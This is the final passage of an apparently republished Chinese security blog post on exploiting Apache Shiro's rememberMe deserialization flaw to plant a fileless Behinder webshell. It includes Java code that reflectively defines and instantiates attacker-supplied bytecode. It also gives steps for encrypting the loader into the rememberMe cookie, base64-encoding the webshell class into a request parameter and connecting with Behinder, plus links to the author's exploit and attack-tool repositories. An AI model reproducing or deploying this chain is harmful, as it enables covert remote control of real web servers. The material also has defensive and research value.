                    java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
                    defineClassMethod.setAccessible(true);
                    Class cc = (Class) defineClassMethod.invoke(this.getClass().getClassLoader(), new Object[]{bytecodes, new Integer(0), new Integer(bytecodes.length)});
                    cc.newInstance();
                    done = true;

                    if (done) {
                        break;
                    }
                }
            }
        }


    }

    public Object getFV(Object o, String s) throws Exception {
        java.lang.reflect.Field f = null;
        Class clazz = o.getClass();
        while (clazz != Object.class) {
            try {
                f = clazz.getDeclaredField(s);
                break;
            } catch (NoSuchFieldException e) {
                clazz = clazz.getSuperclass();
            }
        }
        if (f == null) {
            throw new NoSuchFieldException(s);
        }
        f.setAccessible(true);
        return f.get(o);
    }


    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

}

最后測試就是生成用shiro中AES+base64加密后的ClassDataLoader.java,放入rememberMe中

image-20211219150015452

再生成BehinderFilter.class的base64放入classData參數中

cat BehinderFilter.class|base64 |sed ':label;N;s/\n//;b label'

發送后使用冰蠍即可連接成功

image-20211219150303454

四、最后

感謝P神,木頭神的實驗環境,幫了我很大的忙,本文中的涉及的實驗環境和代碼我都放在了github中,需要可以自行下載

https://github.com/yyhuni/shiroMemshell

在此篇文章原理的基礎上,我隨便寫了一款shiro的綜合利用工具

https://github.com/yyhuni/shiroATK

參考:

https://www.cnblogs.com/bitterz/p/14820898.html

https://xz.aliyun.com/t/9914

https://xz.aliyun.com/t/2744

Java代碼執行漏洞中類動態加載的應用

tomcat結合shiro無文件webshell的技術研究以及檢測方法

Shiro 550 漏洞學習 (二):內存馬注入及回顯

https://github.com/c0ny1/java-object-searcher

https://blog.xray.cool/post/how-to-find-shiro-rememberme-deserialization-vulnerability/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM